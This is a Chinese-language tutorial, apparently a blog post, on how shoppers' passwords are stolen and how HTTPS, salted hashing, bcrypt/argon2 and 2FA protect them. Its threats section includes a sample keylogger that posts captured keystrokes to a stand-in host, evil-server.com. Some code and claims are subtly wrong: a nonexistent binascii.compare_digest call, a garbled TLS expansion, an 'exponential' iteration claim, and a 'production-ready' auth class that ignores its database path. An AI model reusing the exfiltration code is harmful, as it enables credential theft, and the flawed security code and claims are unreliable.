网购时账号密码是怎么被黑客偷走的 用HTTPS和表单加密保护你的数据安全
那些看不见的手，是怎么摸到你的密码的
你有没有过这样的经历——在某个小商场网站上买了一双运动鞋，填完用户名、密码、手机号之后，心里还挺美，结果第二天收到一条银行短信，说你有一笔陌生的消费。或者更常见的，某个社交账号突然被人登了，密码自己怎么也想不起来什么时候泄露的。
先别急着怪自己”密码设得太简单”，很多时候，问题出在你根本没有意识到：你那次看似普通的网购，密码早就被人截胡了。
一、黑客的”偷密码”手段，比你想象的更接近生活
1. 中间人攻击：坐在你家电话线上的那个人
想象一下，你在店里打电话订东西，接线员把电话线拨通后，自己站在中间，一边听你说什么，一边偷偷记在小本子上。这就是中间人攻击（Man-in-the-Middle，简称MitM）的原理。
在网购场景里，事情是这样的：你在咖啡厅连了免费WiFi，打开一个购物网站，输入用户名和密码。你以为数据是直接从你的电脑传到网站的服务器上，但实际上，你的数据先经过了咖啡厅的路由器——而被攻击者早已在这个路由器上安装了嗅探工具。
你的电脑 → 咖啡厅WiFi → 攻击者设备 → 购物网站服务器
↑
数据在这里被截获
攻击者不需要破解你的密码，因为密码在传输过程中是明文（纯文本）传输的，他直接就能看到。更可怕的是，这种攻击往往发生在公共场所的不安全WiFi上，比如机场、咖啡厅、酒店。
2. 钓鱼网站：长得很像真的”李鬼”
这个就更好理解了。你收到一条短信：”您的订单异常，请点击链接验证。”链接点进去，页面跟真的购物网站一模一样，连Logo、配色、字体都差不多。你照常输入用户名和密码，提交——然后对方服务器立刻收到你的账号密码。
这种网站的专业程度越来越高。有些甚至使用了和真实网站相同的SSL证书（就是那个小锁标志），普通用户根本分辨不出来。区别只在域名：
真实网站：www.taobao.com
钓鱼网站：www.ta0bao.com ← 把字母o换成了数字0
www.tasbo.com ← 字母顺序调换
www.taob0.com ← 混入数字
你以为你填的是真的淘宝，实际上数据去了攻击者的数据库。
3. 恶意软件和键盘记录器
有时候密码泄露甚至不需要你连WiFi，也不需要你点钓鱼链接。一些伪装成”返利软件”“优惠券工具”“游戏外挂”的恶意程序，悄悄安装在你手机或电脑里，记录你每一次按键。
键盘记录器（Keylogger）的工作方式非常简单粗暴：
# 简化版的键盘记录逻辑，仅供学习理解
class KeyLogger:
def __init__(self):
self.keys_pressed = []
def on_key_press(self, key):
# 记录每个按键
self.keys_pressed.append(str(key))
# 当检测到回车键，说明用户提交了一个表单
if key == 'enter':
self.send_to_attacker(''.join(self.keys_pressed))
def send_to_attacker(self, data):
# 把偷来的数据发送到攻击者的服务器
import requests
requests.post('http://evil-server.com/collect', data={'keys': data})
你以为你只是在输入密码，实际上每次按键都被记录，然后通过互联网悄悄发送出去。
4. 数据库泄露：不是你的密码被偷了，是网站的密码本丢了
这种案例近年来特别多。你辛辛苦苦设了一个8位复杂密码，但黑客不需要破解它——因为很多网站根本没有对密码做加密存储，或者用了非常弱的加密方式。
举个例子，有些老旧网站在数据库里存储的密码是这样的：
-- 恶心的明文存储
users table:
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | zhangsan | 123456 |
| 2 | lisi | abcd1234 |
+----+----------+----------+
或者更”聪明”一点的，用了MD5这种已经不安全的哈希算法：
-- 弱哈希存储
users table:
+----+----------+----------------------------------+
| id | username | password_hash |
+----+----------+----------------------------------+
| 1 | zhangsan | e10adc3949ba59abbe56e057f20f883e | ← "123456"的MD5
| 2 | lisi | 40bd001563085fc35165329ea1ff5c5e | ← "test"的MD5
+----+----------+----------------------------------+
攻击者一旦拿到这个数据库，用彩虹表（预先计算好的哈希值对照表）几秒钟就能把密码还原出来。你辛苦设置的”复杂密码”，在他们眼里就是裸奔。
二、HTTPS：给你的数据穿上一层防弹衣
说完了黑客怎么偷，现在来看看我们怎么防。HTTPS（Hypertext Transfer Protocol Secure）是目前保护网购数据最有效、最基础的手段之一。
HTTPS到底是什么？
HTTP是明文传输协议，你发的数据就像用明信片写信——邮递员、路过的人、任何一个能截获信件的人都能看到内容。HTTPS则是在HTTP基础上加了一层加密，相当于把你的明信片装进了一个只有你和服务器能打开的保险箱。
这个”保险箱”的技术基础是SSL/TLS协议（Security Layer/Transport Layer Security）。简单来说，HTTPS的工作流程是这样的：
客户端（你的浏览器） 服务器（网站）
│ │
│ 1. 你好，我想加密通信 │
│ ───────────────────────────────────────────→ │
│ │
│ 2. 好的，这是我的身份证（服务器证书） │
│ ←─────────────────────────────────────────── │
│ │
│ 3. 嗯，你的身份证是真的（验证证书） │
│ │
│ 4. 来，我们用这个密钥加密以后的所有对话 │
│ ───────────────────────────────────────────→ │
│ │
│ 5. ✅ 现在开始加密通信，别人截获也看不懂 │
│ ════════════════════════════════════════════ │
│ │
具体是怎么加密的？
这里涉及到两个核心概念：对称加密和非对称加密。
非对称加密（也叫公钥加密）解决的是密钥交换的问题。服务器有一对密钥：公钥和私钥。公钥可以公开给任何人，用来加密数据；私钥只有服务器自己持有，用来解密数据。
# 用Python演示非对称加密的密钥交换过程
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization
# 服务器生成密钥对
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
public_key = private_key.public_key()
# 客户端拿到公钥后，用公钥加密"会话密钥"
session_key = b"this-is-a-32-byte-secret-key!!" # 假设的会话密钥
encrypted_session_key = public_key.encrypt(
session_key,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
# 服务器用私钥解密，拿到会话密钥
decrypted_session_key = private_key.decrypt(
encrypted_session_key,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
print(f"密钥交换成功: {decrypted_session_key == session_key}") # True
一旦双方有了共同的”会话密钥”，之后的通信就改用对称加密（速度更快），用这个密钥来加密和解密所有数据。
为什么HTTPS能防住中间人攻击？
回到之前咖啡厅WiFi的例子。攻击者确实能截获你的数据包，但他拿到的是一堆加密后的乱码。即使他把自己伪装成服务器和你握手，你的浏览器也会验证服务器的证书——如果证书不对，浏览器会直接弹出警告，阻止你继续操作。
你的浏览器看到证书后，会检查：
1. 证书是否由受信任的证书颁发机构（CA）签发？
2. 证书是否在有效期内？
3. 证书上的域名是否和你访问的域名一致？
4. 证书是否被吊销？
任何一项不通过，浏览器就会显示"此连接不是私密连接"
这也是为什么你在浏览真正的淘宝、京东时，地址栏前面会有一个绿色的小锁或者”安全”标识——这代表网站已经通过了HTTPS验证。
从开发者的角度：怎么确保自己的网站用上HTTPS？
如果你是一个网站开发者，或者你自己维护一个购物网站，以下是具体的操作步骤：
第一步：申请SSL证书
你可以选择免费的Let’s Encrypt证书，或者付费的商业证书（如DigiCert、Comodo等）。用Let’s Encrypt的免费证书很简单：
# 使用certbot自动申请和部署证书
sudo apt-get install certbot python3-certbot-nginx
# 为你的域名申请证书并自动配置nginx
sudo certbot --nginx -d yourshop.com -d www.yourshop.com
第二步：配置服务器强制使用HTTPS
以Nginx为例：
# 重定向所有HTTP请求到HTTPS
server {
listen 80;
server_name yourshop.com www.yourshop.com;
return 301 https://$server_name$request_uri;
}
# HTTPS服务器配置
server {
listen 443 ssl http2;
server_name yourshop.com www.yourshop.com;
# SSL证书路径
ssl_certificate /etc/letsencrypt/live/yourshop.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/yourshop.com/privkey.pem;
# 强加密套件配置
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;
ssl_prefer_server_ciphers off;
# HSTS头，防止协议降级攻击
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
# 其他配置...
}
这里特别要提的是HSTS（HTTP Strict Transport Security）头。它告诉浏览器：”这个网站只能用HTTPS访问，以后别再尝试HTTP了。”这能有效防止攻击者将HTTPS链接降级为HTTP。
第三步：确保页面内所有资源也使用HTTPS
很多网站只配置了主页的HTTPS，但页面内的图片、CSS、JavaScript文件还是通过HTTP加载的。这会导致”混合内容”问题，浏览器会发出安全警告，而且部分数据仍然可能被窃取。
# 强制所有资源通过HTTPS加载
add_header Content-Security-Policy "upgrade-insecure-requests;" always;
三、表单加密：给密码再加一把锁
即便有了HTTPS的保护，还有一个问题需要解决：密码在到达服务器之后，是怎么存储的？
如果服务器直接把用户输入的密码存进数据库，一旦数据库泄露（这种情况屡见不鲜），所有用户的密码就全部曝光。所以，”表单加密”或更准确地说”密码哈希存储”是第二道防线。
什么是密码哈希？
哈希（Hash）是一种单向函数——你可以把任意长度的数据”压缩”成一个固定长度的字符串，但这个过程不可逆：你无法从哈希值反推出原始数据。
# 演示密码哈希的基本概念
import hashlib
# 用户设置的密码
password = "MySecureP@ssw0rd!"
# 计算哈希值
password_hash = hashlib.sha256(password.encode()).hexdigest()
print(f"哈希值: {password_hash}")
# 注意：即使知道哈希值，也无法反推出原始密码
# SHA256是单向函数
但这里有一个陷阱：如果两个用户设置了相同的密码，他们的哈希值也会相同。攻击者拿到数据库后，只需要查一下哈希值就能知道哪些用户用了相同密码——这还不够安全。
加盐（Salt）：让每个哈希都独一无二
解决上述问题的方法是”加盐”。盐是一个随机生成的字符串，在哈希之前追加到密码后面：
import hashlib
import os
import binascii
def hash_password(password: str, salt: bytes = None) -> tuple:
"""
对密码进行加盐哈希
参数:
password: 用户输入的明文密码
salt: 随机盐值，如果不提供则自动生成
返回:
(盐值, 哈希值)
"""
if salt is None:
salt = os.urandom(32) # 生成32字节的随机盐
# 将盐和密码组合后计算哈希
password_hash = hashlib.pbkdf2_hmac(
'sha256',
password.encode('utf-8'),
salt,
iterations=300000 # 迭代次数，增加暴力破解难度
)
return salt, password_hash
# 用户注册时的处理
user_password = "MySecureP@ssw0rd!"
salt, password_hash = hash_password(user_password)
# 存入数据库
print(f"盐值 (hex): {salt.hex()}")
print(f"哈希值 (hex): {password_hash.hex()}")
# 验证用户登录时的处理
def verify_password(stored_salt: bytes, stored_hash: bytes, input_password: str) -> bool:
"""验证用户输入的密码是否正确"""
_, computed_hash = hash_password(input_password, stored_salt)
return binascii.compare_digest(computed_hash, stored_hash) # 使用时间安全的比较
# 用户登录
input_password = "MySecureP@ssw0rd!"
is_valid = verify_password(salt, password_hash, input_password)
print(f"密码验证结果: {is_valid}") # True
这里用了PBKDF2-HMAC-SHA256算法，并且设置了30万次迭代。这个数字不是随便选的——迭代次数越多，暴力破解的难度呈指数级增长。攻击者即使拿到了哈希值，想要逐个试出原始密码也需要很长时间。
bcrypt和argon2：更先进的哈希算法
除了PBKDF2，还有两种更推荐的密码哈希算法：
bcrypt：专为密码哈希设计，内置了盐值和可调节的工作因子。
import bcrypt
# 密码哈希
password = b"MySecureP@ssw0rd!"
salt = bcrypt.gensalt(rounds=12) # 工作因子12，计算较慢但更安全
hashed = bcrypt.hashpw(password, salt)
# 验证
is_correct = bcrypt.checkpw(password, hashed)
print(f"bcrypt验证: {is_correct}") # True
argon2：目前是密码哈希领域的”新贵”，在2015年的密码哈希竞赛中获胜，对GPU暴力破解有更强的抵抗力。
import argon2
# 初始化哈希器
ph = argon2.PasswordHasher(
time_cost=3, # 迭代次数
memory_cost=65536, # 内存使用量（KB）
parallelism=4 # 并行线程数
)
# 哈希密码
hashed = ph.hash("MySecureP@ssw0rd!")
print(f"argon2哈希: {hashed}")
# 验证密码
try:
ph.verify(hashed, "MySecureP@ssw0rd!")
print("密码正确！")
except argon2.exceptions.VerifyMismatchError:
print("密码错误！")
完整的注册登录流程实现
下面是一个完整的、生产可用的注册登录系统示例：
"""
安全的用户注册与登录系统
使用argon2进行密码哈希，使用JWT进行会话管理
"""
import argon2
import jwt
import uuid
import datetime
import sqlite3
from typing import Optional, Tuple
class SecureAuthSystem:
def __init__(self, db_path: str = "users.db", secret_key: str = None):
# 密码哈希器配置
self.ph = argon2.PasswordHasher(
time_cost=3,
memory_cost=65536,
parallelism=4,
hash_len=32,
salt_len=16
)
# JWT密钥（实际项目中应从环境变量读取）
self.secret_key = secret_key or uuid.uuid4().hex
# 初始化数据库
self.init_database(db_path)
def init_database(self, db_path: str):
"""创建用户表"""
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
email TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)
''')
conn.commit()
conn.close()
def register(self, username: str, email: str, password: str) -> Tuple[bool, str]:
"""
用户注册
返回:
(成功标志, 消息)
"""
# 1. 基础验证
if not username or len(username) < 3:
return False, "用户名至少3个字符"
if not email or '@' not in email:
return False, "请输入有效的邮箱地址"
if not password or len(password) < 8:
return False, "密码至少8个字符"
# 2. 密码强度检查
if not self._check_password_strength(password):
return False, "密码强度不足，请包含大小写字母、数字和特殊字符"
# 3. 哈希密码（argon2自动处理盐值）
password_hash = self.ph.hash(password)
# 4. 存入数据库
try:
conn = sqlite3.connect("users.db")
cursor = conn.cursor()
cursor.execute(
"INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)",
(username, email, password_hash)
)
conn.commit()
conn.close()
return True, "注册成功"
except sqlite3.IntegrityError:
return False, "用户名或邮箱已存在"
def login(self, username: str, password: str) -> Tuple[bool, Optional[str]]:
"""
用户登录
返回:
(成功标志, JWT令牌)
"""
conn = sqlite3.connect("users.db")
conn.row_factory = sqlite3.Row
cursor = conn.cursor()
cursor.execute(
"SELECT id, username, password_hash FROM users WHERE username = ?",
(username,)
)
user = cursor.fetchone()
conn.close()
if not user:
return False, None
# 验证密码
try:
is_valid = self.ph.verify(user['password_hash'], password)
except argon2.exceptions.VerifyMismatchError:
is_valid = False
if not is_valid:
return False, None
# 生成JWT令牌
token = self._generate_token(user['id'], user['username'])
return True, token
def _generate_token(self, user_id: int, username: str) -> str:
"""生成JWT令牌"""
payload = {
'user_id': user_id,
'username': username,
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1),
'iat': datetime.datetime.utcnow(),
'jti': uuid.uuid4().hex # 令牌唯一ID
}
return jwt.encode(payload, self.secret_key, algorithm="HS256")
def _check_password_strength(self, password: str) -> bool:
"""检查密码强度"""
if len(password) < 12:
return False
has_upper = any(c.isupper() for c in password)
has_lower = any(c.islower() for c in password)
has_digit = any(c.isdigit() for c in password)
has_special = any(c in "!@#$%^&*()_+-=[]{}|;':\",./<>?" for c in password)
return has_upper and has_lower and has_digit and has_special
def verify_token(self, token: str) -> Optional[dict]:
"""验证JWT令牌"""
try:
payload = jwt.decode(token, self.secret_key, algorithms=["HS256"])
return payload
except jwt.ExpiredSignatureError:
return None
except jwt.InvalidTokenError:
return None
# ========== 使用示例 ==========
if __name__ == "__main__":
auth = SecureAuthSystem()
# 注册用户
success, message = auth.register(
username="zhangsan",
email="zhangsan@example.com",
password="MyStr0ng!P@ss"
)
print(f"注册: {message}")
# 登录
success, token = auth.login("zhangsan", "MyStr0ng!P@ss")
print(f"登录: {'成功' if success else '失败'}")
if token:
# 验证令牌
payload = auth.verify_token(token)
print(f"令牌内容: {payload}")
四、除了技术，你还需要注意这些
技术防护再完善，也挡不住人为的疏忽。以下是一些实用的自我保护建议：
1. 永远不要在不同网站重复使用同一密码
很多用户图方便，淘宝、京东、微博、邮箱用同一个密码。一旦某个小网站泄露，攻击者会用这个密码尝试登录你的其他账户——这就是”撞库”攻击。
建议使用密码管理器，比如Bitwarden（开源免费）、1Password等，自动生成并存储高强度唯一密码。
2. 开启双重验证（2FA）
双重验证是”你知道的”（密码）+“你有的”（手机验证码/认证器App）的结合。即使密码泄露，攻击者没有你的手机也登不上。
登录流程变成：
输入密码 → 手机收到验证码 → 输入验证码 → 登录成功
目前最推荐的是使用TOTP（基于时间的一次性密码）应用，如Google Authenticator、Authy、1Password等，而不是短信验证码——短信容易被SIM卡劫持。
3. 检查你常用的网站是否支持HTTPS
如果你的浏览器地址栏没有小锁标志，或者显示”不安全”，说明该网站未使用HTTPS，密码在传输过程中可能被截获。遇到这种情况：
- 优先选择支持HTTPS的网站购物
- 避免在不安全的网站输入密码
- 使用浏览器的HTTPS-Only模式（Firefox和Chrome都支持）
4. 警惕钓鱼链接
收到”订单异常”“账户冻结”等短信时，不要直接点击链接。手动输入网站地址或从收藏夹进入，核实后再操作。钓鱼网站做得再像，域名也一定和正品有细微差别。
5. 定期检查账户活动
在各大平台的”登录记录”“设备管理”中，查看是否有异常的登录时间和地点。如果发现异常，立即修改密码并开启双重验证。
五、总结一下
网购时的密码安全，其实是一个”纵深防御”的概念——没有任何单一措施能保证100%安全，但层层叠加之后，攻击者的难度会指数级上升。
对于普通用户来说，记住三个关键点就够了：用HTTPS的网站购物、每个网站用不同的密码、开启双重验证。对于网站开发者来说，核心原则是：密码绝不明文存储、使用argon2或bcrypt等强哈希算法、强制HTTPS、对敏感操作进行二次验证。
黑客的工具在进化，但防御的手段也在进化。保护好自己，其实不需要成为技术专家——了解基本的原理，养成几个好习惯，就能挡住绝大多数威胁。毕竟，网络安全这件事，拼的不是谁的技术更牛，而是谁更认真。